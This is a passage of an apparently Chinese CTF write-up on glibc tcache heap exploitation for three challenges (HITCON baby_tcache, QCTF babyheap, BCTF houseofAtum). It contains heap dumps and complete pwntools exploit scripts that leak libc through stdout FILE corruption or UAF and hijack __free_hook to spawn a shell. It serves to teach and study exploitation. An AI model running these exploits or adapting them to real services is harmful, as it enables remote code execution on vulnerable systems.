        you would need to sys_seek(0, SEEK_END) here, but is
        not needed nor desirable for Unix- or Posix-like systems.
        Instead, just indicate that offset (before and after) is
        unpredictable. */
     fp->_offset = _IO_pos_BAD;
    else if (fp->_IO_read_end != fp->_IO_write_base)
     {
       _IO_off64_t new_pos = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
       if (new_pos == _IO_pos_BAD)
         return 0;
       fp->_offset = new_pos;
     }
    count = _IO_SYSWRITE (fp, data, to_do); // 这里真正进行 write

    需要满足fp->_flags & _IO_IS_APPENDING != 0fp->_IO_read_end != fp->_IO_write_base,我们不能完全控制fp->_IO_write_base - fp->_IO_read_end的值,所以控制第一个if就可以了。
    综上:

    _flags = 0xfbad0000 
    _flags & = _IO_NO_WRITES = 0        // _flags = 0xfbad0000 
    _flags & _IO_CURRENTLY_PUTTING = 1  // _flags = 0xfbad0800
    _flags & _IO_IS_APPENDING = 1       // _flags = 0xfbad1800

    _IO_SYSWRITE (fp, data, to_do)_IO_SYSWRITE (f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base)
    我们将_IO_write_base的低一个字节覆盖为\x08,因为这个地方存放了_IO_stdfile_2_lock的地址,而这个地址比__free_hook的地址低0x38个字节,因此泄露出来后,即可以算出libc基址

如何将chunk分配到 _IO_2_1_stdout_ 从而进行改写呢?
_IO_2_1_stdout_ 文件流地址和&main_arena+88的地址后1.5个字节是不会变的,因为系统分配内存是按页分配的,一页的大小为0x1000,他们本身的偏移不会改变,所以后1.5字节是不会变的,但是我们覆盖内存的最小单位是2字节,所以有半字节是猜的,需要我们进行调试,拿到那半个字节,就可以将chunk分配到 _IO_2_1_stdout_ 文件流内存中,进而覆盖其中的数据。
【不明白的可以先了解一下 新版本glibc下IO_FILE的利用】

对于setbuf和setvbuf:
设置文件缓冲区函数
void setbuf(FILE *stream,char *buf);
void setvbuf(FILE *stream,char *buf,int type,unsigned size);
这两个函数将使得打开文件后,用户可建立自己的文件缓冲区,而不使用fopen()函数打开文件设定的默认缓冲区。
对于setbuf()函数,buf指出的缓冲区长度由头文件stdio.h中定义的宏BUFSIZE的值决定,缺省值为512字节。当选定buf为空时,setbuf函数将使的文件I/O不带缓冲。而对setvbuf函数,则由malloc函数来分配缓冲区。参数size指明了缓冲区的长度(必须大于0),而参数type则表示了缓冲的类型,其值可以取如下值:
type 值 含义
_IOFBF 文件全部缓冲,即缓冲区装满后,才能对文件读写
_IOLBF 文件行缓冲,即缓冲区接收到一个换行符时,才能对文件读写
_IONBF 文件不缓冲,此时忽略buf,size的值,直接读写文件,不再经过文件缓冲区缓冲

由于程序开头就使用了setvbuf,没有缓冲区,所以我们需要伪造flag使stdout文件流认为有缓冲区,同时将_IO_write_base指针进行修改,从而泄露libc base

  1. 同上题一样改写__malloc_hook__free_hook就可以了。改写malloc_hook失败,改了free_hook…这里我不明白为什么失败了求指教。

调试分析一下
首先构造overlap造成堆块重叠
申请chunk,并改写chunk5的prev_size

0x555555757250: 0x0000000000000000  0x0000000000000501    # 0
0x555555757260: 0x000000000000306b  0x0000000000000000
0x555555757270: 0x0000000000000000  0x0000000000000000
0x555555757280: 0x0000000000000000  0x0000000000000000
.......
0x555555757750: 0x0000000000000000  0x0000000000000041    # 1
0x555555757760: 0x000000000000316b  0x0000000000000000
0x555555757770: 0x0000000000000000  0x0000000000000000
0x555555757780: 0x0000000000000000  0x0000000000000000
0x555555757790: 0x0000000000000000  0x0000000000000051    # 2
0x5555557577a0: 0x000000000000326b  0x0000000000000000
0x5555557577b0: 0x0000000000000000  0x0000000000000000
0x5555557577c0: 0x0000000000000000  0x0000000000000000
0x5555557577d0: 0x0000000000000000  0x0000000000000000
0x5555557577e0: 0x0000000000000000  0x0000000000000061    # 3
0x5555557577f0: 0x000000000000336b  0x0000000000000000
0x555555757800: 0x0000000000000000  0x0000000000000000
.......
0x555555757840: 0x0000000000000000  0x0000000000000071    # 4
0x555555757850: 0x6161616161616161  0x6161616161616161
0x555555757860: 0x6161616161616161  0x6161616161616161
0x555555757870: 0x6161616161616161  0x6161616161616161
0x555555757880: 0x6161616161616161  0x6161616161616161
0x555555757890: 0x6161616161616161  0x6161616161616161
0x5555557578a0: 0x6161616161616161  0x6161616161616161
0x5555557578b0: 0x0000000000000660  0x0000000000000500    # 5   【同时,新申请的 4 改写了prev_size和prev_inuse】
0x5555557578c0: 0x000000000000356b  0x0000000000000000
0x5555557578d0: 0x0000000000000000  0x0000000000000000
.......
0x555555757db0: 0x0000000000000000  0x0000000000000081    # 6
0x555555757dc0: 0x000000000000366b  0x0000000000000000
0x555555757dd0: 0x0000000000000000  0x0000000000000000
0x555555757de0: 0x0000000000000000  0x0000000000000000
.......                                                        # top chunk

释放chunk2 chunk0 chunk5
这样呢 chunk5 向前索引就到了 chunk0,chunk0和chunk5 空闲unsorted合并,所以 chunk0 的 size = 0x660 + 0x500 = 0xb60,实现了overlap

0x555555757250: 0x0000000000000000  0x0000000000000b61    # 0
0x555555757260: 0x00007ffff7dcfca0  0x00007ffff7dcfca0
0x555555757270: 0x0000000000000000  0x0000000000000000
0x555555757280: 0xdadadadadadadada  0xdadadadadadadada

.......
0x555555757750: 0x0000000000000500  0x0000000000000040    # 1
0x555555757760: 0x000000000000316b  0x0000000000000000
0x555555757770: 0x0000000000000000  0x0000000000000000
0x555555757780: 0x0000000000000000  0x0000000000000000
0x555555757790: 0x0000000000000000  0x0000000000000051    # 2
0x5555557577a0: 0x0000000000000000  0xdadadadadadadada
0x5555557577b0: 0xdadadadadadadada  0xdadadadadadadada
0x5555557577c0: 0xdadadadadadadada  0xdadadadadadadada
0x5555557577d0: 0xdadadadadadadada  0xdadadadadadadada
0x5555557577e0: 0x0000000000000000  0x0000000000000061    # 3
0x5555557577f0: 0x000000000000336b  0x0000000000000000
0x555555757800: 0x0000000000000000  0x0000000000000000
.......
0x555555757840: 0x0000000000000000  0x0000000000000071    # 4
0x555555757850: 0x6161616161616161  0x6161616161616161
0x555555757860: 0x6161616161616161  0x6161616161616161
0x555555757870: 0x6161616161616161  0x6161616161616161
0x555555757880: 0x6161616161616161  0x6161616161616161
0x555555757890: 0x6161616161616161  0x6161616161616161
0x5555557578a0: 0x6161616161616161  0x6161616161616161
0x5555557578b0: 0x0000000000000660  0x0000000000000500    # 5   【同时,新申请的 chunk4 利用复写 改写了prev_size = 0xb0-0x6=250和prev_inuse】
0x5555557578c0: 0xdadadadadadadada  0xdadadadadadadada
0x5555557578d0: 0xdadadadadadadada  0xdadadadadadadada
.......
0x555555757db0: 0x0000000000000b60  0x0000000000000080    # 6
0x555555757dc0: 0x000000000000366b  0x0000000000000000
0x555555757dd0: 0x0000000000000000  0x0000000000000000
0x555555757de0: 0x0000000000000000  0x0000000000000000
.......                                                        # top chunk

exp

#!usr/bin/python
from pwn import *
# context.log_level = 'debug'

binary = "./baby_tcache"
ip = ""
port = 0
elf = ELF(binary)
def menu(choice):
    io.sendlineafter("choice: ", str(choice))

def new(size, data):
    menu(1)
    io.sendlineafter("Size:", str(size))
    io.sendafter("Data:", data)

def delete(index):
    menu(2)
    io.sendlineafter("Index:", str(index))

def pwn(ip, port, debug):
    global io
    if debug == 1:
        io = process(binary)
        libc = ELF("./libc.so.6")   
    else:
        io = remote(ip, port)
        libc = 0

    new(0x500-0x8, "k0")    # 0
    new(0x30, "k1")         # 1
    new(0x40, "k2")         # 2
    new(0x50, "k3")         # 3
    new(0x60, "k4")         # 4
    new(0x500-0x8, "k5")    # 5
    new(0x10, "k6")         # 6     # gap to top chunk
    delete(4)
    new(0x68, 'a' * 0x60 + '\x60\x06')      # 4     # 0x660
    delete(2)
    delete(0)
    delete(5)

    new(0x500-0x9+0x34, "b")
    delete(4)
    new(0xa8, '\x60\x07')
    new(0x40, 'c')
    new(0x3e, p64(0xfbad1800) + p64(0) * 3 + '\x08')
    libc_base = u64(io.recv(8)) - 0x3ed8b0      # u64(_IO_stdfile_2_lock) - libc.symbols['__free_hook'] + 0x38
    malloc_hook = libc_base + libc.symbols['__malloc_hook']
    free_hook = libc_base + libc.symbols['__free_hook']
    one_gadget = [0x4f2c5, 0x4f322, 0x10a38c]
    one_gadget = libc_base + one_gadget[1]
    io.success("libc_base = "+hex(libc_base))
    io.success("malloc_hook = "+hex(malloc_hook))
    io.success("free_hook = "+hex(free_hook))
    io.success("one_gadget = " +hex(one_gadget))

    new(0xa0, p64(free_hook))
    new(0x60, p64(1))
    new(0x60, p64(one_gadget))
    # gdb.attach(io)
    delete(0)

    io.interactive()
if __name__ == '__main__':
    pwn(ip, port, 1)

QCTF2018 babyheap

分析

保护全开
菜单:

1. Create
2. Delete
3. show
4. Exit


存在NULL Byte off-by-one漏洞

经过上面两道题,其实思路已经很清晰了。

exp

#!usr/bin/python
from pwn import *
context.log_level = 'debug'

binary = "./babyheap"
ip = ""
port = 0
elf = ELF(binary)

def menu(choice):
    io.sendlineafter("choice :", str(choice))

def create(size, data):
    menu(1)
    io.sendlineafter("Size: \n", str(size))
    io.sendafter("Data: \n", data)

def delete(idx):
    menu(2)
    io.sendlineafter("Index: \n", str(idx))

def show():
    menu(3)

def pwn(ip, port, debug):
    global io
    if debug == 1:
        io = process(binary)
        libc = ELF("./libc-2.27.so")
    else:
        io = remote(ip, port)
        libc = 0
    create(0x418, 'a\n')    # 0 
    create(0x508, 'b' * 0x4f0 + p64(0x500) + '\n')  # 1
    create(0x418, 'c\n')    # 2
    create(0x418, 'd\n')    # 3
    delete(0)
    delete(1)
    create(0x418, 'e' * 0x418)  # 0
    create(0x418, 'f\n')    # 1
    create(0xd8, 'g\n')     # 4
    delete(1)
    delete(2)
    create(0x418, 'h\n')    # 1
    show()
    io.recvuntil("4 : ")
    libc_base = u64(io.recv(6).ljust(8, '\x00')) - 0x3ebca0
    free_hook = libc_base + libc.sym['__free_hook']
    malloc_hook = libc_base + libc.sym['__malloc_hook']
    # onegadget = [0x4f2c5, 0x4f322, 0x10a38c]
    # onegadget = libc_base + onegadget[1]
    sys_addr = libc_base + libc.sym['system']
    print "libc_base = " +hex(libc_base)    # 0x7ffff79e4000
    print "free_hook = " +hex(free_hook)    # 0x7ffff7dd18e8
    print "sys_addr = " +hex(sys_addr)      # 0x7ffff7a33440

    create(0xd8, '\n')      # 2
    delete(4)
    delete(2)
    create(0xd8, p64(free_hook) + '\n')     # 4
    # create(0xd8, p64(onegadget) + '\n')
    create(0xd8, '/bin/sh\x00' + '\n')      # 2
    create(0xd8, p64(sys_addr) + '\n')
    delete(2)

    io.interactive()
if __name__ == '__main__':
    pwn(ip, port, 1)

one_gadget有时候不符合条件不能使用,我们替换成system(“/bin/sh”) https://bbs.pediy.com/thread-246786.htm

BCTF2018 houseofAtum

出题人的分析:https://changochen.github.io/2018-11-26-bctf-2018.html

分析

保护全开
菜单

1. new
2. edit
3. delete
4. show


只对指针进行free但是没有清零。存在UAF漏洞
难点在于,只能申请两个note,不过不管你删不删都会把指针给free了
考虑到tcache机制的缺陷,不检查size等flag,只根据fd直接分配内存给用户,所以tcache bin和fastbin的fd指向是不同的。

通过这个小demo我们可以判断

void *a = malloc(0x28);
void *b = malloc(0x28);

// fill the tcache
for(int i=0; i<7 ;i++){
    free(a);
}

free(b);

//What will happen with this:
free(a);

因为tcache每个bin最多有7个chunk,for循环将chunk a设置成a -> a <- a,且tcache被填满
free(b)会将b释放入fastbin,再次释放a也会将a放入fastbin,形成:

所以a的fd指针指向了b的prev_size,形成混淆,这样b的prev_size会被当做tcache分配内存的依据fd !
刚好,题目分配的每个chunk都是0x48的大小,存在复用prev_size,我们将prev_size改写就可以就可以控制新申请的chunk位置。

  1. 由于选择delete选项时会直接free((void *)notes[(signed int)v1]),所以选择delete但是n,可以打印出fd,偏移泄露heap base
  2. free 7次后tcache满,将fd修改到合适的位置,伪造unsorted bin,改写prev_inuse位,再次free就会放入unsorted bin,偏移泄露libc base
  3. 按照前面说的,free 7次达到a -> a <- a的效果

    然后再修改prev_size(fd)到__free_hook,劫持到one_gadget

exp

#!usr/bin/python
from pwn import *
context.log_level = 'debug'

binary = "./houseofAtum"
ip = ""
port = 0
elf = ELF(binary)

def menu(choice):
    io.sendlineafter("choice:", str(choice))

def new(content):
    menu(1)
    io.sendafter("content:", content)

def edit(idx, content):
    menu(2)
    io.sendlineafter("idx:", str(idx))
    io.sendafter("content:", content)

def delete(idx, choice):
    menu(3)
    io.sendlineafter("idx:", str(idx))
    io.sendlineafter("(y/n):", choice)

def show(idx):
    menu(4)
    io.sendlineafter("idx:", str(idx))

def pwn(ip, port, debug):
    global io
    if debug == 1:
        io = process(binary)
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    else:
        io = remote(ip, port)
        libc = 0
    new("k0")       # 0
    new("k1")       # 1
    delete(0, 'n')
    delete(1, 'n')
    show(1)
    io.recvuntil("Content:")
    heap_base = u64(io.recv(6).ljust(8, '\x00')) - 0x260
    print "heap_base = " +hex(heap_base)        # 0x555555757000

    for i in range(5):  # total 7
        delete(0, 'n')
    delete(1, 'y')
    delete(0, 'y')      # fastbin: main_arena -> 0 -> 1
    payload = p64(0) * 7 + p64(0xa1) + p64(heap_base + 0x30)
    new(payload)    # 0
    new("\x30")     # 1
    delete(1, 'y')  # fd = heap_base + 0x30
    new("k1")       # 1     # heap_base + 0x30
    delete(0, 'y')
    payload = p64(0) * 7 + p64(heap_base + 0x10)
    edit(1, payload)
    new('\x11')     # prev_inuse

    for i in range(7):
        delete(0, 'n')
    delete(0, 'y')

    payload = p64(0) * 7 + p64(heap_base + 0x10)
    edit(1, payload)
    new('\x11')
    show(0)
    io.recvuntil("Content:")
    libc_base = u64(io.recv(6).ljust(8, '\x00')) + 0xc143ef     # 0x00007ffff7dcfca0 - 0x00007ffff6dcfc11 - 0x3ebca0
    print "libc_base = " +hex(libc_base)        # 0x7ffff79e4000s
    one_gadget = [0x4f2c5, 0x4f322, 0x10a38c]
    one_gadget = libc_base + one_gadget[1]
    free_hook = libc_base + libc.sym['__free_hook']

    delete(0, 'y')
    payload = p64(0) * 7 + p64(free_hook)
    edit(1, payload)
    new(p64(one_gadget))
    menu(3)
    io.sendlineafter("idx:", str(0))

    io.interactive()
if __name__ == '__main__':
    pwn(ip, port, 1)

以上参考
CTF-wiki
ctf-all-in-one
http://pollux.cc/2019/05/03/2018-hitcon-baby-tcache/#step-2-%E5%88%A9%E7%94%A8%E6%96%87%E4%BB%B6%E6%B5%81%E6%B3%84%E9%9C%B2libc%E7%9A%84%E5%9C%B0%E5%9D%80
https://binlep.github.io/2019/12/13/%E3%80%90WriteUp%E3%80%91%E6%94%BB%E9%98%B2%E4%B8%96%E7%95%8C–Pwn%E9%A2%98%E8%A7%A3(Part%202)/#babyheap

本文来自先知社区

人已赞赏
安全教程

python 字符串基础

2020-3-22 9:10:03

安全教程

漏洞分析学习之某ActiveX控件imageMan.dll栈溢出

2020-3-23 1:17:57

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索